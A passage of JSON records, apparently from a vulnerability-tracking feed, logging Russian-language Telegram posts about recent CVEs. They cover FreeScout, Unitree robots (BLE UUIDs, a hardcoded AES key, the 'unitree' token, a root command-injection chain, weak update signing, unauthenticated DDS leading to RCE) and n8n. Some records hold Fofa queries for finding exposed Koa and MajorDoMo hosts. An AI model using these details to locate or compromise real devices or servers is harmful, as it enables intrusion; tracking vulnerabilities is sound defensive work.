\u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0438 \u0432 \u0441\u0430\u043f\u043e\u0440\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 FreeScout, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u0441\u0435\u0442\u0438.\n\n\u0412\u0441\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 FreeScout 1.8.206 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u043d\u0430 Apache \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0435\u0439 AllowOverride All (\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f). CVE-2026-28289 \u0431\u044b\u043b\u0430\u00a0\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 FreeScout 1.8.207.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f.", "creation_timestamp": "2026-03-04T13:42:17.000000Z"}, {"uuid": "dc0b392c-9482-4e93-947e-5dceb8bcf369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://t.me/VictoryDrones/52894", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u043e\u0440\u043e\u0433\u0438\u0435 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u0438! \u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043d\u0430 \u0441\u0432\u044f\u0437\u0438\ud83d\udc4b\n\n\ud83e\udd14 \u0423\u0436\u0435 \u0438\u0437 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0442\u044e\u0433\u0430 \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u043b\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u043e \u0437\u0430\u043c\u0435\u043d\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u043e\u0432, appsec/\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u043e\u0432, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432 \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e LLM. \u041c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u0430 \u0444\u043e\u0440\u0443\u043c\u0430\u0445, \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u043a\u0430\u043a \u0441 \u043f\u0435\u043d\u043e\u0439 \u0443 \u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b LLM/VLM/ML/AI \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \n\n\ud83e\udd14 \u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a\u0438, \"\u0441\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u044f \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435\", \u043a\u043e\u0434 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0442\u0430\u043a \u0443\u0436\u0435 \u0431\u044b\u043b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u0431\u0435\u0437 LLM/MCP, \u043d\u0435\u0442\u043e\u0447\u043d\u044b\u0435 \u0440\u0430\u0441\u0447\u0451\u0442\u044b \u0438 \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \u0414\u0430, \u0435\u0441\u0442\u044c \u0431\u0435\u0441\u0441\u043f\u043e\u0440\u043d\u043e \u0438 \u0443\u0434\u0430\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f, \u043d\u043e \u043e\u043f\u044b\u0442\u043d\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u041f\u041e\u041a\u0410 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442. \u041e\u0434\u043d\u0430\u043a\u043e, \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0443\u0432\u043e\u043b\u044c\u043d\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043c\u0435\u043d\u0430 \u043d\u0430 LLM/MCP, \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043d\u043e\u0432\u044b\u0445 \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u043c\u043d\u043e\u0433\u043e(\u0442\u043e\u0447\u043d\u0435\u0435 \u0435\u0449\u0451 \u043c\u0435\u043d\u044c\u0448\u0435), \u0430 \u0432 \u0441\u0438\u043b\u0443 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043b\u0438 \u0431\u0443\u0434\u0443\u0442 \u043e\u0431\u0443\u0447\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0441\u0435\u0431\u0435(\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0430), \u0442\u043e \u043d\u0435\u0438\u0437\u0431\u0435\u0436\u043d\u0430 \u0434\u0435\u0433\u0440\u0430\u0434\u0430\u0446\u0438\u044f.\n\n\u0414\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430 \u043c\u043e\u0436\u0435\u0442\u0435 \u0432 Opus 4.6, ChatGPT 5.2, Grok 4.1/4.20/Heavy, Gemini 3 pro/flash preview, Qwen3.5, DeepSeek V3.2 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u043c\u043e\u0434\u0435\u043b\u044f\u043c/\u0430\u0433\u0435\u043d\u0442\u0430\u043c \"\u0441\u043a\u043e\u0440\u043c\u0438\u0442\u044c\" \u043f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u043f\u043e \u0444\u0438\u0437\u0438\u043a\u0435, \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0435, \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e, \u0430\u0432\u0438\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044e \u0438 \u0443\u0432\u0438\u0434\u0438\u0442\u0435... \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0438\u043b\u044c\u043d\u043e \u043e\u043d\u0438 \u043e\u0448\u0438\u0431\u0430\u044e\u0442\u0441\u044f \u0435\u0441\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0435\u0442 \u0432 \u0441\u0435\u0442\u0438. \u041d\u0435 \u043d\u0443\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u043c \u043d\u0430 \u0441\u043b\u043e\u0432\u043e, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u043e\u0437\u044c\u043c\u0438\u0442\u0435 \u0442\u043e, \u043a \u0447\u0435\u043c\u0443 \u043d\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435.\n\n\u041f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043a \u0442\u0435\u043c\u0435 \u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u0442\u0440\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0445 \"\u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430\" \u0432 \u043b\u043e\u0433\u0438\u043a\u0435 \u0431\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0440\u0430\u0434\u0438\u043e/\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0448\u0438\u043d\u044b \u0432 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0440\u043e\u0431\u043e\u0442\u0430\u0445 \u043e\u0442 Unitree. \n\nBLE-\u043a\u043e\u043d\u0442\u0443\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 Wi-Fi(CVE-2025-35027, CVE-2025-60017, CVE-2025-60250 \u0438 CVE-2025-60251): \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 Go2/G1/H1/B2 \u043f\u043e\u0434\u043d\u044f\u0442 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 BLE-\u0441\u0435\u0440\u0432\u0438\u0441 (0000ffe0-0000-1000-8000-00805f9b34fb, \u0437\u0430\u043f\u0438\u0441\u044c 0000ffe2-0000-1000-8000-00805f9b34fb, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f 0000ffe1-0000-1000-8000-00805f9b34fb), \u0433\u0434\u0435 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f AES-CFB128 \u0441 \u0436\u0451\u0441\u0442\u043a\u043e \u0437\u0430\u0448\u0438\u0442\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0438 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c (\u043e\u0434\u043d\u0438 \u0438 \u0442\u0435 \u0436\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435), \u0430 \"\u0434\u043e\u0441\u0442\u0443\u043f\" \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043c\u0430\u0440\u043a\u0435\u0440\u0443 unitree; \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u043e\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 Wi-Fi \u0434\u043e\u0445\u043e\u0434\u044f\u0442 \u0434\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0447\u0435\u0440\u0435\u0437 system() - \u0442\u043e \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0430\u044f \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 root \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \"\u0440\u0430\u0434\u0438\u043e -> \u0434\u0435\u043c\u043e\u043d \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 -> \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\". \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: \"\u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0435 \u0440\u043e\u0431\u043e\u0442\u044b\" \u0432 UniPwn \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u043a\u0430\u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043a\u0430\u0441\u043a\u0430\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430/\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root, \u043d\u043e \u044d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430, \u0430 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n\n\u041a\u043e\u043d\u0442\u0443\u0440 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 UPK (CVE-2026-1442, UniTEABag): \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043c\u0435\u0441\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0438. \u0412 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 AHA! \u043f\u043e UPK \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0448\u0438\u0444\u0440\u0443\u0435\u0442\u0441\u044f TEA, \u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 (\u043f\u043e \u0441\u0443\u0442\u0438 - \"\u0437\u0430\u0448\u0438\u0442\" \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0430\u043a\u0435\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438 \u0437\u0430\u0442\u0435\u043c \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u043a\u0430\u043a \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435; \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 UPK \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 UTPK-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435, TEA-\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 MD5 \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c/\"\u043f\u043e\u0434\u043f\u0438\u0441\u044c\". \u041a\u0440\u0438\u0442\u0438\u0447\u043d\u0430\u044f \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0430 \u0438\u0437 \u0442\u043e\u0433\u043e \u0436\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430: \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \"\u043f\u043e\u0434\u0441\u0443\u043d\u0443\u0442\u044c\" \u043e\u0442\u0440\u0430\u0432\u043b\u0451\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430/\u0441\u0435\u0440\u0432\u0438\u0441\u0430 - \u0442\u043e \u0435\u0441\u0442\u044c \u0440\u0438\u0441\u043a \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f (\u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430/\u0441\u0435\u0440\u0432\u0438\u0441/\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430), \u0430 \u043d\u0435 \u043f\u0440\u043e \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0445\u0432\u0430\u0442 \"\u043f\u043e \u0432\u043e\u0437\u0434\u0443\u0445\u0443\".\n\nDDS-\u0448\u0438\u043d\u0430 (\u0434\u043e\u043c\u0435\u043d 0) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430(RCE): \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0412 \u043e\u0442\u0447\u0451\u0442\u0435 \u043f\u043e Go2 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE, CVE-2026-27509/-27510) \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: V1.1.7 - V1.1.9 \u0438 V1.1.11 (EDU); \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u043c\u044b\u0441\u043b - \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435/\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 DDS-\u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0431\u043e\u0440\u043a\u0430\u0445, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0443 \"\u0441\u0435\u0442\u0435\u0432\u043e-\u0441\u043c\u0435\u0436\u043d\u043e\u0439\" (\u043a\u0442\u043e \u043f\u043e\u043f\u0430\u043b \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0441\u0435\u0433\u043c\u0435\u043d\u0442/\u0434\u043e\u043c\u0435\u043d - \u0442\u043e\u0442 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u0442\u043e\u043f\u0438\u043a\u0438/\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438). \u0410\u0432\u0442\u043e\u0440\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u0443\u0441\u043a \u043f\u0430\u0442\u0447\u0435\u0439 \u0432 \u0432\u0435\u0442\u043a\u0435 V1.1.13 \u0434\u043b\u044f \u0447\u0430\u0441\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u043e, \u0447\u0442\u043e EDU-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0440\u0438\u0441\u043a\u043e\u043c \u043f\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430.\n\n\u0437.\u044b.: \u0430 \u043a \u0447\u0435\u043c\u0443 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u043f\u0440\u043e \u044d\u0442\u0438 \u0441\u0432\u0435\u0436\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438? \u0414\u0430\u043d\u043d\u044b\u0435 \u0440\u043e\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0438\u0446\u0438\u0435\u0439 \u0438 \u0432\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0442\u0440\u0430\u043d, \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043a\u0440\u0443\u043f\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043d\u043e\u0433\u043e \u0432\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0432 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433 \u0438 \u0434\u0438\u0437\u0430\u0439\u043d. \u0414\u0430\u043b\u044c\u0448\u0435 - \u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u0432\u044b\u0432\u043e\u0434\u044b \u0441\u0430\u043c\u0438.\n\n\u2b50\ufe0f\u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430", "creation_timestamp": "2026-02-27T23:27:41.000000Z"}, {"uuid": "27b52021-3362-40c5-a316-4cab5b255926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27959", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/346", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27959\n\nFofa : \"Koa\" or header=\"koa\" || header=\"koa.js\" || header=\"koa-framework\"", "creation_timestamp": "2026-03-02T05:51:11.000000Z"}, {"uuid": "7bf1d883-ac77-4138-860c-52a6d15d03c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/339", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n\nFofa : \"MajorDoMo\"", "creation_timestamp": "2026-02-22T00:35:14.000000Z"}, {"uuid": "295307ee-5482-4c8c-8b7a-7772659b4344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/true_secator/7989", "content": "Pillar Security \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 n8n, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u044c \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f RCE \u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e 